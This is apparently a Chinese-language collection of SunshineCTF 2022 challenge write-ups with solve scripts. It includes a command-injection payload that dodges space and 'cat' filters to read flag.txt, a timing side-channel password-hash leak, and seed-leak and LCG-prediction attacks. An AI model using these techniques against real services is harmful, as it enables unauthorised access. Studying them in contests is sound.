santicheck
sun{here}
discord -> announcement -> 頻道標題
sun{i_love_centralized_chat_platforms}
看 source code -> ctrl-F 搜尋 sun
sun{prepare_for_a_lawsuit}
點進連結,看起來是一個 ping 網站的服務
比方說輸入 www.google.com
,發現確實是使用 linux 的 ping
指令
測試輸入奇怪的 payload 如 ;
,發現會噴錯誤訊息
很明顯的,有 command injection 的問題
得知命令列可能會長的類似 /bin/bash -c {ping,-c,1, <input>}
這樣
經測試,可以嘗試建立 payload 如下
localhost};$(id)
成功執行命令,但只有輸出一部分,因此嘗試在外加入 echo
,如下
localhost};echo $(id)
但發現會有錯誤
經嘗試發現可能是空白字元的黑名單導致,直接用 $IFS
繞過
localhost};echo$IFS$(id)
成功繞過
順便,使用 ls
查看檔案
localhost};echo$IFS$(ls)
出現了 flag.txt
,嘗試進行讀取
localhost};echo$IFS$(cat$IFSflag.txt)
出現錯誤
嘗試讀錯誤訊息,有出現不要提到貓科動物之類的,推測是有擋 cat
指令
嘗試在指令中加入 `` 符號,規避單字的黑名單
localhost};echo$IFS$(ca``t$IFSflag.txt)
出了一點錯
嘗試修正命令
localhost};echo$IFS$(c``at$IFS``flag.txt)
pwned!
sun{pin9_pin9-pin9_f1@9_pin9}
進到頁面,除了有一個 yt 影片之外還有一個 login 連結
login 需要帳號密碼
相關處理函式在檢視頁面來源中,可以看到有一個 index.js
function validate(a) {
unameObj = document.getElementById('username')
passObj = document.getElementById('password')
hashObj = new jsSHA("SHA-1", "TEXT", {
numRounds: 1
});
hashObj.update(passObj.value)
hash = hashObj.getHash("HEX");
console.log(hash)
xhr = new XMLHttpRequest()
xhr.open("POST", "/login")
xhr.setRequestHeader("Content-Type", "application/json")
xhr.send(JSON.stringify({
"username": unameObj.value,
"password": hash
}))
xhr.onload = (e) => {
// console.log("Received Response!")
console.log(e)
if (e.currentTarget.status == 401) {
document.getElementById('error').innerHTML = `Error: ${e.currentTarget.response}`
} else {
document.getElementById('flag').innerHTML = `WOW!: ${e.currentTarget.response}`
}
}
}
簡單的來說,會 post 帳號及 sha1 後的密碼到 /login
的 endpoint,如果回傳碼是 401 則錯誤反之會拿到 flag 的內容
假如隨便輸入,會回傳 You're not a true fan :C
的錯誤訊息
初步看起來沒有 XXE 或是 SQLi 等漏洞
不過根據題目名稱提示,看起來和時間之類的有關,所以嘗試看看是不是有留 development 時的一些東西
嘗試了 .git
和 backup.zip
等都沒看到,但發現了 robots.txt
,且裡面有 /dev
的路徑
而底下還有 /hostname
和 /users
的子路徑
/dev/hostname
回傳 Internal Server Error,看起來沒有特別東西
而 /dev/users
就有趣了,可以看到有 anri
的帳號且是啟用中
由此可知帳號名稱為 anri
在登入頁面的地方,假如帳號名稱為 anri
的話,錯誤訊息會變成 Nope. Wrong.
,與隨便輸入的情況不同
不過密碼的部分還是不知道
觀察後發現,當使用者填入 anri
時,在 header 的地方會出現 debug-lag-fix
,反之則沒有,看起來很可疑
此外也從題目名稱可知這題跟時間有關,所以會不會可以用時間長短的不同作為 side channel 來 leak 出密碼呢? 經測試發現似乎可以
不過經測試,不是直接 leak 出密碼,而是需要 leak 加密後的 hash
script:
import requests
import string
alphabet = string.digits + "abcdef"
h0 = ['f']
for i in range(40-len(h0)):
max_item = ('a', 0)
hh = h0 + ['a' for _ in range(40 - len(h0))]
for a in alphabet:
hh[len(h0)] = a
password = "".join(hh)
res = requests.post(
'https://timely.web.2022.sunshinectf.org/login',
headers={'content-type':'application/json'},
data='{"username":"anri", "password":"'+ password + '"}',
verify=False)
latency = res.headers['Debug-Lag-Fix'][:-2]
if(int(latency) > max_item[1]):
max_item = (a, int(latency))
h0.append(max_item[0])
print(h0, max_item)
print(h0)
大概 leak 到第 38 個時會發生 KeyError: 'debug-lag-fix'
的錯誤,這是恰巧在第 40 位是 a
且在 leak 第 39 位時就成功破出 hash
總之,破出的 hash 為 f14586d91fbab8cbd70d3946495a0213066a226a
用 curl 送個封包,拿到 flag
curl -X POST -k -v https://timely.web.2022.sunshinectf.org/login -H "content-type: application/json" --data '{"username": "anri", "password": "f14586d91fbab8cbd70d3946495a0213066a226a"}'
SUN{ci+ypopi56e5+pop2022}
題目給了一串韓文 可是我不會韓文
걳걵걮걻걢갴걳갳걟갱갲갸걟갱갵걟걢갱건걟걲갳걭갴거거갱걮걧걽
經嘗試,推測可能跟 unicode 編碼有關,使用工具轉換後的編碼如下
\uac73\uac75\uac6e\uac7b\uac62\uac34\uac73\uac33\uac5f\uac31\uac32\uac38\uac5f\uac31\uac35\uac5f\uac62\uac31\uac74\uac5f\uac72\uac33\uac6d\uac34\uac70\uac70\uac31\uac6e\uac67\uac7d
後兩位看起來好像是 ascii,使用工具萃取資料,得到 flag
也可以直接用這個 workflow 一次處理
sun{b4s3_128_15_b1t_r3m4pp1ng}
:::spoiler aeschall.py
# new code!
import os
def main():
boxxed = [105, 121, 73, 89, 41, 57, 9, 25, 233, 249, 201, 217, 169, 185, 137, 153, 104, 120, 72, 88, 40, 56, 8, 24, 232, 248, 200, 216, 168, 184, 136, 152, 107, 123, 75, 91, 43, 59, 11, 27, 235, 251, 203, 219, 171, 187, 139, 155, 106, 122, 74, 90, 42, 58, 10, 26, 234, 250, 202, 218, 170, 186, 138, 154, 109, 125, 77, 93, 45, 61, 13, 29, 237, 253, 205, 221, 173, 189, 141, 157, 108, 124, 76, 92, 44, 60, 12, 28, 236, 252, 204, 220, 172, 188, 140, 156, 111, 127, 79, 95, 47, 63, 15, 31, 239, 255, 207, 223, 175, 191, 143, 159, 110, 126, 78, 94, 46, 62, 14, 30, 238, 254, 206, 222, 174, 190, 142, 158, 97, 113, 65, 81, 33, 49, 1, 17, 225, 241, 193, 209, 161, 177, 129, 145, 96, 112, 64, 80, 32, 48, 0, 16, 224, 240, 192, 208, 160, 176, 128, 144, 99, 115, 67, 83, 35, 51, 3, 19, 227, 243, 195, 211, 163, 179, 131, 147, 98, 114, 66, 82, 34, 50, 2, 18, 226, 242, 194, 210, 162, 178, 130, 146, 101, 117, 69, 85, 37, 53, 5, 21, 229, 245, 197, 213, 165, 181, 133, 149, 100, 116, 68, 84, 36, 52, 4, 20, 228, 244, 196, 212, 164, 180, 132, 148, 103, 119, 71, 87, 39, 55, 7, 23, 231, 247, 199, 215, 167, 183, 135, 151, 102, 118, 70, 86, 38, 54, 6, 22, 230, 246, 198, 214, 166, 182, 134, 150]
flag = open("flag.txt", "rb").read()
plaintext = b"Here is your flag: " + flag
while len(plaintext) % 16 != 0:
plaintext += b"\x00"
ciphertext = b""
key = os.urandom(16)
cipher = AES(key, Sbox=boxxed)
while len(plaintext) > 0:
ciphertext += cipher.encrypt(plaintext[:16])
plaintext = plaintext[16:]
print("Try to recover the flag! ", ciphertext.hex())
if __name__ == "__main__":
main()
# When ran with the correct flag it outputs the following, can you recover it?
# Try to recover the flag! 725af38e9584f694638a7323e44749c5ba1e175e61f1bd7cf356da50e7c182cf7ed5ea6e12294f697f3b59b125a3940bc86ca5cfad39b4da4be547dcafbbb17b
:::
根據題目提示,這題使用了自定義的 Sbox,而在 AES 設計中 sbox 是用來提供非線性的轉換,如果設計不當則會造成整個加解密是線性的,也就有機會解出明文
首先,先確認 AES 是否線性,根據這篇文章的截圖,可以使用下面公式來確認
:::spoiler test_sbox.py
from aeschall import AES
sbox = [...]
def xor(a:bytes, b:bytes) ->bytes:
return bytes([aa^bb for aa,bb in zip(a,b)])
import os
key = os.urandom(16)
m1 = os.urandom(16)
m2 = os.urandom(16)
m3 = os.urandom(16)
cipher = AES(key, Sbox=sbox)
res1 = xor(xor(cipher.encrypt(m1), cipher.encrypt(m2)), cipher.encrypt(m3))
res2 = cipher.encrypt(xor(xor(m1, m2), m3))
assert res1 == res2
:::
結果確認出 sbox 是線性,所以 AES 的加解密是線性的
而參考這篇文章,得知一個線性的 AES 可以被 model 成
因此我們可以想辦法求出
在求
$p_0 = \begin{bmatrix} 0 \ 0 \ \vdots \ 0 \end{bmatrix}$
$p_1 = \begin{bmatrix} 1 \ 0 \ \vdots \ 0 \end{bmatrix}$
$p_2 = \begin{bmatrix} 0 \ 1 \ 0 \ \vdots \ 0 \end{bmatrix}$
而既然可以得知
而在已知相關參數的情況下,即可自由解密密文
:::spoiler solve.py
from aeschall import AES
sbox = [...]
ct_flag = bytes.fromhex("725af38e9584f694638a7323e44749c5ba1e175e61f1bd7cf356da50e7c182cf7ed5ea6e12294f697f3b59b125a3940bc86ca5cfad39b4da4be547dcafbbb17b")
pt_flag = b"Here is your flag: "
def xor(a:bytes, b:bytes) ->bytes:
return bytes([aa^bb for aa,bb in zip(a,b)])
def bits2bytes(x: list) -> bytes:
return bytes([int("".join(map(str, x[i:i+8])), 2) for i in range(0, len(x), 8)])
def bytes2bits(x: bytes) -> list:
return list(map(int, "".join(map(lambda x: f"{x:08b}", x))))
# find encryption model
# https://crypto.stackexchange.com/questions/20228/consequences-of-aes-without-any-one-of-its-operations/70107#70107
from sage.all import GF, matrix, vector
## c = Ax+k
## c-c0 = A(x-x0)
## C = AX
key = os.urandom(16)
X = []
C = []
cipher = AES(key, Sbox=sbox)
base = cipher.encrypt(bits2bytes([0]*128))
for i in range(128):
pt = [0]*i + [1] + [0]*(127-i)
ct = cipher.encrypt(bits2bytes(pt))
X.append(pt)
C.append(bytes2bits(xor(ct,base)))
mat_X = matrix(GF(2), X).transpose()
mat_C = matrix(GF(2), C).transpose()
mat_A = mat_X.solve_left(mat_C)
vec_c = vector(bytes2bits(ct_flag[:16]))
vec_x = vector(bytes2bits(pt_flag[:16]))
vec_k = vec_c - mat_A * vec_x
# solve
## c = Ax+k
## c-k = Ax
flag = b""
for i in range(0, len(ct_flag), 16):
curr_ct = vector(bytes2bits(ct_flag[i:i+16]))
curr_pt = mat_A.solve_right(curr_ct - vec_k)
flag += bits2bytes(curr_pt)
print(flag)
:::
sun{a3$_r34lly_n33ds_sub5tituti0n!}
丟 ghidra 後,在 strings 處發現 UPX
字樣,推測程式使用 UPX 殼
使用 upx 進行脫殼
~/upx-4.0.1-i386_linux/upx -d plumber_game -o plumber_game_unupx
脫殼後,用 strings 發現有許多 fmt 開頭的方法,加上題目名稱提示,推測是 golang 寫的程式
使用 ida 來逆向,發現在 main 中會進行輸入的判斷,假設判斷成功就會進入 Password accepted! Dispensing flag...
的流程,反之進入 Invalid password. Try again later!
流程
判斷部分如下
因此可知,輸入 @t4r1_2600_l0v3r
即是正確的 password
sun{go_to_the_other_castle}
題目給了一個壞掉的 png 檔案,要求復原
正確的 png header 為 89 50 4e 47 0d 0a 1a 0a
,但檔案中僅有奇數位置的 byte 正確
原本根據題目名稱 middle endian 猜測是跟 bit 順序有關,但試了之後找不出來
無意間翻到最後面,發現偶數 byte 的部分似乎被藏在這裡
寫了一個腳本來解
with open("flag.png.me", "rb") as fh:
data = fh.read()
decode = b""
for i in range(len(data)):
if(i%2 == 0):
decode += bytes([data[i]])
else:
decode += bytes([data[-i]])
with open("flag.png", "wb") as fh:
fh.write(decode)
解出來如下
雖然還是有點問題,不過可以直接看出 flag 了
sun{byt3s_1n_d1s4rr@y}
程式擷取如下,基本上就是一個猜數字遊戲
而 srand 之類的有設定且是由 /dev/urandom
來讀取,所以基本上沒有其他漏洞的話是猜不到 seed 的
不過在輸入 teamname 的地方有漏洞,輸入之後會複製內容到 0x104430 的位置並複製 14 個字元,而 random seed 存的地方剛好是 0x104444 的位置,而輸出的格式是 %s
,因此當輸入 teamname 長度 14 字元以上時輸出部分會將 teamname 和 random seed 一起印出來,可以洩漏 random seed,而洩漏出來後,random 的數字即可得知
由於 c 的 random 和 python 的 random 產生的方式不同,因此有額外寫了一個 c 的程式來獲得 random number
// getnumber.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
if(argc != 2)
{
exit(1);
}
srand(atoi(argv[1]));
for(int i=10; i<1000000000; i*=10)
{
int num = rand() % i + 1;
printf("%d\n", num);
}
return 0;
}
以下為主要的 python 程式
from pwn import *
from Crypto.Util.number import bytes_to_long
import subprocess
binary = "./ctf-simulator"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("sunshinectf.games", 22000)
#conn = process(binary)
#conn = gdb.debug(binary, "break *0x804809c\\nbreak main")
conn.sendlineafter(b"CTF team?\n", b"A" * 0x14)
data = conn.recvuntil(b"I'm").strip()[:-5]
seed = data[-4:]
seed = bytes_to_long(seed[::-1])
numbers = subprocess.run(["./getnumber", str(seed)], capture_output=True).stdout.split(b'\n')
for i in range(8):
conn.sendlineafter(b"What is it?\n", numbers[i])
conn.interactive()
sun{gu355y_ch4ll3ng35_4r3_my_f4v0r1t3!}
下載後跑就對了
sun{th4t_w4s_3a5y}
沒有檔案,只能用 debug 模式去找 flag
他的 debug tool 有點類似 GDB,詳細可以用 help 指令來讀相關資訊
首先先用 disass
指令 leak 出 assembly code,全部 leak 出來的指令如下,且也自行做了一些註解
; disass 100 0x100
0100.0000: MOV A0, A0
0102.0000: BRA.EQ RD, RA
0104.0000: MOV A4, 0x7F
0108.0000: LDB A2, [A0]
010A.0000: INC A0, 1
010C.0000: AND A3, A2, A4
010F.0000: WRB (0), A3
0111.0000: CMP A2, A3
0113.0000: BRR.GT 0xFFF2 ; 0108
0116.0000: BRA RD, RA
0118.0000: MOV S0, ZERO
011A.0000: RDB S1, (15)
011C.0000: BRR.GE 0xC ; 012b
011F.0000: RDB A0, (0)
0121.0000: BRR.GE 0xC ; 0130
0124.0000: SUB A0, S1
0126.0000: ORR S0, A0
0128.0000: BRR 0xFFEF ; 011a
012B.0000: MOV S0, S0
012D.0000: BRR.EQ 0x8 ; 0138
0130.0000: ADD A0, PC, 0xC ; a0 = 0x141 = "Loser!\n"
0135.0000: BRR 0x5 ; 013d
0138.0000: ADD A0, PC, 0xB ; a0 = 0x148 = "Winner!\n"
013D.0000: FCR 0xFFC0 ; 0100
0140.0000: HLT
此外也有一些 static string 的部分,使用 hexdump
指令列出來
; hexdump R 0x140 20
0140: fecc eff3 e5f2 a10a d7e9 eeee e5f2 a10a ................
0150: 0000 0000 0000 0000 0000 0000 0000 0000 ................
其中可以看到,會讀取 device 15 和 stdin 的資料,並進行相關比較,如果比較結果一致會進入 winner 路線否則進入 loser 路線
而可以在 debug 到指令 0118 的地方查看 s1 register,即可得知 device 15 的內容,也就能進到 winner 路線
監聽到的資訊如下:
73 75 6e 7b 64 31 64 5f 79 30 75 5f 75 35 33 5f 62 72 33 34 6b 70 30 31 6e 74 35 3f 7d
內容為 sun{d1d_y0u_u53_br34kp01nt5?}
,即是 flag
sun{d1d_y0u_u53_br34kp01nt5?}
首先直接 dump assembly 出來
以下是 main 的部分
:::spoiler main.asm
main:
0472.0000: MOV FP, SP
0474.0000: SUB SP, 0xC
0478.0000: ADD A0, PC, 0xFFB0 ; A0 = 0x42d = "Enter cheat code?" (& 0x7f)
047D.0000: FCR 0xFC80 ; call 0x100 puts
0480.0000: MOV A0, SP
0482.0000: MOV A1, 0xB
0486.0000: FCR 0xFC8F ; call 0x118 read
0489.0000: ADD A0, PC, 0xFFB1 ; A0 = 0x43f = "UUDDLRLRBA" (& 0x7f)
048E.0000: MOV A1, SP
0490.0000: FCR 0xFF78 ; call 0x40b cmp
0493.0000: MOV A1, A1
0495.0000: BRR.NE 0x65 ; 0x4fd
0498.0000: ADD A0, PC, 0xFFAD ; A0 = 0x44a = "Address to patch?" (& 0x7f)
049D.0000: FCR 0xFC60 ; call 0x100 puts
04A0.0000: RDB A0, (0)
04A2.0000: HLT.GE
04A3.0000: FCR 0xFF40 ; call 0x3e6 hexToInt
04A6.0000: MOV S0, A1
04A8.0000: RDB A0, (0)
04AA.0000: HLT.GE
04AB.0000: FCR 0xFF38 ; call 0x3e6 hexToInt
04AE.0000: SHL S0, 0x4
04B2.0000: ORR S0, A1
04B4.0000: RDB A0, (0)
04B6.0000: HLT.GE
04B7.0000: FCR 0xFF2C ; call 0x3e6 hexToInt
04BA.0000: SHL S0, 0x4
04BE.0000: ORR S0, A1
04C0.0000: RDB A0, (0)
04C2.0000: HLT.GE
04C3.0000: FCR 0xFF20 ; call 0x3e6 hexToInt
04C6.0000: SHL S0, 0x4
04CA.0000: ORR S0, A1
04CC.0000: RDB A0, (0)
04CE.0000: CMP A0, 0xA
04D2.0000: HLT.NE
04D3.0000: ADD A0, PC, 0xFF84 ; A0 = 0x45c = "Byte to replace with?" (& 0x7f)
04D8.0000: FCR 0xFC25 ; call 0x100 puts
04DB.0000: RDB A0, (0)
04DD.0000: HLT.GE
04DE.0000: FCR 0xFF05 ; call 0x3e6 hexToInt
04E1.0000: MOV S1, A1
04E3.0000: RDB A0, (0)
04E5.0000: HLT.GE
04E6.0000: FCR 0xFEFD ; call 0x3e6 hexToInt
04E9.0000: SHL S1, 0x4
04ED.0000: ORR S1, A1
04EF.0000: RDB A0, (0)
04F1.0000: CMP A0, 0xA
04F5.0000: HLT.NE
04F6.0000: MOV A0, S0
04F8.0000: MOV A1, S1
04FA.0000: FCR 0xFE8B ; call 0x388 patch
04FD.0000: FCR 0xFE07 ; call 0x307 gamemain
0500.0000: HLT
:::
可以看到,程式會先要求輸入 cheat code,假如輸入錯誤會直接進入遊戲流程,否則會先進入到 patch 的流程再進行遊戲,cheat code 為程式內的字串 UUDDLRLRBA
在 patch 流程的部分會要求輸入要 patch 的位置及要 patch 的值,僅能輸入一次
以下是 patch 的子函數 :::spoiler patch.asm
patch (A0: pos, A1: val):
0388.0000: PSH {RA-RD}
038B.0000: CMP A0, 0x1F6
038F.0000: BRR.LT 0x4B ; 0x3dd
0392.0000: CMP A0, 0x377
0396.0000: BRR.GE 0x44 ; 0x3dd
0399.0000: SRU A2, A0, 0x8
039E.0000: SHL A2, 0x2
03A2.0000: ADD A2, 0xFC02
03A6.0000: LDB A3, [A2]
03A8.0000: INC A2, -1
03AA.0000: STB [A2], A3
03AC.0000: STB [A0], A1
03AE.0000: POP {PC-DPC}
03DD.0000: ADD A0, PC, 0xFFCF ; A0 = 0x3b1 = "Address is outside of the patchable region!" (& 0x7f)
03E2.0000: FCR 0xFD1B ; call 0x100 puts
03E5.0000: HLT
:::
其中可以看到會有限制 patch 的位置只能在 0x1f6
~ 0x377
之間
而以下為遊戲本體的程式
:::spoiler game.asm
gamemain:
0307.0000: PSH {S0-S1, RA-RD}
030A.0000: ADD A0, PC, 0xFF8F ; A0 = 0x29e = "Welcome to the Silicon Bridge game!" (& 0x7f)
030F.0000: FCR 0xFDEE ; call 0x100 puts
0312.0000: MOV S0, ZERO
0314.0000: ADD S1, PC, 0xFE2F ; S1 = 0x148
0319.0000: LDW S1, [S1]
031B.0000: BRR 0x47 ; goto 0x365
031E.0000: FCR 0xFED5 ; call 0x1f6 genboard
0321.0000: ADD A0, PC, 0xFF9C ; A0 = 0x2c2 = "Pick a silicon panel to jump forwards to. [L/R]?" (& 0x7f)
0326.0000: FCR 0xFDD7 ; call 0x100 puts
0329.0000: RDB A1, (0)
032B.0000: HLT.GE
032C.0000: CMP A1, 0x4C ; 'L'
0330.0000: MOV.EQ A1, ZERO
0332.0000: BRR.EQ 0x9 ; goto 0x33e
0335.0000: CMP A1, 0x52 ; 'R'
0339.0000: HLT.NE
033A.0000: MOV A1, 0x1
033E.0000: RDB A2, (0)
0340.0000: HLT.GE
0341.0000: CMP A2, 0xA
0345.0000: HLT.NE
0346.0000: ADD A2, PC, 0xFDFF ; A2 = 0x14a
034B.0000: LDW A2, [A2]
034D.0000: SRU A2, S0
034F.0000: AND A2, 0x1
0353.0000: CMP A2, A1
0355.0000: BRR.NE 0x12 ; goto 0x36a
0358.0000: ADD A3, PC, 0x2A3 ; A3 = 0x600
035D.0000: LDW A4, [A3]
035F.0000: INC A4, 1
0361.0000: STW [A3], A4
0363.0000: INC S0, 1
0365.0000: CMP S0, S1
0367.0000: BRR.LT 0xFFB4 ; 0x31e
036A.0000: CMP S0, S1
036C.0000: BRR.GT 0xB ; goto 0x37a
036F.0000: ADD A0, PC, 0xFF7F ; A0 = 0x2f3 = "/You Died/" (& 0x7f)
0374.0000: FCR 0xFD89 ; call 0x100 puts
0377.0000: HLT
0378.0000: HLT
0379.0000: HLT
037A.0000: ADD A0, PC, 0xFF7F ; A0 = 0x2fe = "You Win!" (& 0x7f)
037F.0000: FCR 0xFD7E ; call 0x100 puts
0382.0000: FCR 0xFDB5 ; call 0x13a printflag
0385.0000: POP {S0-S1, PC-DPC}
:::
可以看到,會先輸出一些提示文字後跳到 0x365 的指令,而後會再跳回 0x31e 印出 gameboard,開始進行遊戲,遊戲方式很簡單,會有兩排石頭可以跳,其中一塊會是陷阱而另一塊可以正常跳,需要跳到最後面
而在 assembly 可以看到,在指令 0x346 會去讀記憶體中的一塊值並與 0x1 mask,接著在指令 0x355 進行比對是否等於輸入值 (左 0 右 1),如果不是則跳到 0x36a 的位置,而也可以看到 0x36a 會比較暫存器 S0 數值是否大於暫存器 S1,是的話會進入 you win 路線否則進入 you lose 路線,因此可以推測,在指令 0x36a 的 s0 和 s1 一個是目前跳的格數而另一個是成功所需的格數
另外可以注意的一點是,patch 的範圍有包含到 game main 的範圍,也代表說我們可以嘗試修改 byte 來改指令,使遊戲直接跳到 win 路線印出 flag
這邊我改的位置是指令 0x36c,改成數值 0x95,將 BRR.GT 指令改成 BRR.LT,因此只要隨便玩玩輸就可以進入 win 路線 (至於為什麼是 0x95,可以參考 0x367 BRR.LT 指令的 hexdump)
綜合以上,首先先輸入作弊碼 UUDDLRLRBA
再輸入位置 036c 數值 95,然後隨便玩,即可拿到 flag
sun{l3t5_w4tch_4n_4ct10n_R3pl4y_0f_th4t_G4m3_5h4rk!}
猜數字遊戲
連上後,發現吐出一些 debug info
可能可以從這些資料中得到 random number
不過我只是隨便測試輸入,然後就拿到 flag 了 🤔
sun{oops_i_thought_i_was_in_release}
從提示看來,這題把 seed 遮住了,不過有跟時間有關的提示
另外,這次有提供原始碼 :::spoiler server-challenge-2.py
#!/usr/local/bin/python3
import os
import sys
import multiprocessing
import time
import random
TIME_SCALE=10000
sys.stdout.reconfigure(line_buffering=True)
next_challenge_port = os.getenv('CHALLENGE_3_PORT', 65002)
next_challenge_domain = os.getenv('CHALLENGE_3_DOMAIN', 'predictor-sequel.2022.sunshinectf.org')
flag_p2 = open('./key', "rb").read()
def test_client(stdinput):
seed = get_time_number()
time_in_seconds = seed // TIME_SCALE
pretty_print_time = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(time_in_seconds))
lives = 16
correct_responses = 0
print("#debugggg seed = CENSORED\n")
print(seed)
print("The current date is " + pretty_print_time + ", you have 30 seconds to guess the next number correctly.")
while lives > 0 and correct_responses < 5:
next_number = knuth_linear_congruential_generator(seed)
print(f"Predict the future... if you dare!\nYou have {lives} lives left!\nWhat number am I thinking of, from 0 to 18446744073709551615:")
guess = int(stdinput.readline())
if guess < next_number:
print(f"That number was too small. Generating another random number...")
lives -= 1
elif guess > next_number:
print(f"That number was too big. Generating another random number...")
lives -= 1
else:
print('Lucky guess for that number... I don\'t trust you, so I\'ll ask some more questions to be safe...')
correct_responses += 1
seed = next_number
if lives > 0:
print("Well these codes are old but they check out...")
sys.exit(0)
else:
print("Looks like those were not the codes I was looking for...")
sys.exit(1)
# we use the time as a "random number" as it's used by the second challenge.
def get_time_number():
return round(time.time() * TIME_SCALE)
# if knuth made it it must be secure!
def knuth_linear_congruential_generator(state):
return ((state * 6364136223846793005) + 1442695040888963407) % (2 ** 64)
# launches a client session for a given level.
def client_thread():
try:
message = 'So as it turns out leaving the debug print on was a mistake.\n'
message += '...\n'
message += 'Well no bother. This TIME I don\'t print the seed!\n'
message += 'In fact, you\'ll never guess what the seed is this TIME!\n'
message += 'And if you do... well don\'t tell anyone, especially since my server may have its own TIME...\n'
message += 'And I\'d be stupid to use something predictable like TIME to predict the future...\n'
message += 'There would be 100s of microseconds... uh I mean 100s of thousands of possibilities possible!\n'
message += '...\n'
message += 'Because I\'m so confident in this new system\'s security, this TIME I will give you SIXTEEN LIVES to make a guess...\n'
message += 'So we\'re on the up-and-level with each other, I\'m using this code to come up with a totally random number:\n'
message += '\n'
message +="""# if knuth made it it must be secure!
def knuth_linear_congruential_generator(state):
return (state * 6364136223846793005) + 1442695040888963407 % (2 ** 64)\n"""
print(message)
# thanks to jfs https://stackoverflow.com/a/8981813
new_stdin = os.fdopen(os.dup(sys.stdin.fileno()))
try:
# Eh not really needed but it'll distract them longer if they think they can bring the challenge down somehow.
client_process = multiprocessing.Process(target=test_client, args=[new_stdin])
client_process.start()
client_process.join(60)
if client_process.is_alive():
client_process.terminate()
print("Too slow! You must not be from Florida!")
raise RuntimeWarning()
# thanks to ATOzTOA (https://stackoverflow.com/a/14924210) for helping with the multiprocessing code
if client_process.exitcode != 0:
print("Eh... wrong answer. You must not be from Florida!")
raise RuntimeWarning()
finally:
new_stdin.close()
print("\n...")
print("\nHooooowwww? How did you solve it?")
print("\n...")
print("\n... oh well here's your second key, as promised:")
print(flag_p2)
print("\nFine. I'll make a better game. Sequels are all the rage! 🔥🏰🔥")
print(f"\n{next_challenge_domain} {next_challenge_port} holds your next clue.")
return 0
except RuntimeWarning:
print("Come visit Florida again some time!")
return 0
except KeyboardInterrupt:
print("Killing server", file=sys.stderr)
print("Server killed by Sunshine CTF admins, technical difficulties currently with this challenge, please come back soon. This is not part of the challenge... sorry. :(")
return 0
client_thread()
:::
可以看到,seed 確實跟時間有關且會印出來,不過印出來的刻度是秒而 seed 使用的是 100 microsecond,也就是說可能的 seed 有 10000 個
不過,題目給了足夠的猜測次數,所以可以想辦法篩出 seed 可能是哪些
解密腳本
from pwn import *
from datetime import datetime
import time
context.log_level = "debug"
TIME_SCALE=10000
def knuth_linear_congruential_generator(state):
return ((state * 6364136223846793005) + 1442695040888963407) % (2 ** 64)
conn = remote("predictor.sunshinectf.games", 22202)
conn.recvuntil(b"The current date is ")
data = conn.recvuntil(b", you have 30 seconds").strip()[:-21]
t = datetime.strptime(data.decode(), "%a, %d %b %Y %H:%M:%S %z")
seed_t = int(t.timestamp()) * TIME_SCALE
possible_seeds = [s for s in range(seed_t, seed_t+TIME_SCALE)]
live = 16
correct = 0
while live > 0 and correct < 5:
seed = possible_seeds[0]
number = knuth_linear_congruential_generator(seed)
conn.recvuntil(b"18446744073709551615:\r\n")
conn.sendline(f"{number}".encode())
result = conn.recv(25)
if(b"Lucky" in result):
correct += 1
possible_seeds = [number]
elif(b"big" in result):
live -= 1
temp = []
for s in possible_seeds[1:]:
num = knuth_linear_congruential_generator(s)
if(num < number):
temp.append(num)
possible_seeds = temp
elif(b"small" in result):
live -= 1
temp = []
for s in possible_seeds[1:]:
num = knuth_linear_congruential_generator(s)
if(num > number):
temp.append(num)
possible_seeds = temp
else:
print("error")
break
conn.interactive()
基本上就是遇到輸出太大的提示就塞出輸出較小的那些,而遇到輸出太小就塞輸出較大的那些,如果剛好一致則 seed 就確定了
sun{well_i_guess_it_was_time}
這次要從 LCG 的 output 猜 seed
上網搜尋一下,找到這個 github code,看起來是用一些 lattice 和 GCD 之類的手法來破 LCG
改寫了一下,script:
from pwn import *
from Crypto.Util.number import GCD
context.log_level = "debug"
conn = remote("predictor.sunshinectf.games", 22203)
conn.recvuntil(b"if you dare!\r\n")
nums = []
for i in range(6):
conn.recvuntil(b"I was thinking of ")
n = conn.recvuntil(b"...\r\n")[:-5]
nums.append(int(n.decode()))
print(nums)
def calc_det(i,j,X):
""" Calculate the values for the matrix[lattice] """
a1 = X[i] - X[0]
b1 = X[i+1] - X[1]
a2 = X[j] - X[0]
b2 = X[j+1] - X[1]
""" Calculate the determinant """
det = a1*b2 - a2*b1
return abs(det)
dets = []
for i in range(3): #https://github.com/EnrisNVT/LCG-breaking-example/blob/master/example.py
dets.append(calc_det(i+1,i+2,nums))
print(dets)
p = dets[0]
for i in range(2):
p = GCD(p, dets[i+1])
a = ((nums[3] - nums[4]) * pow(nums[2] - nums[3], -1, p)) % p
b = (nums[4] - a * nums[3]) % p
print(a,b,p)
seed = ((nums[0] - b) * pow(a, -1, p)) % p
conn.sendlineafter(b"PAST SEED I was thinking of?", str(seed).encode())
conn.interactive()
拿到 flag
sun{bah_figures_lcgs_are_not_cryptographically_secure}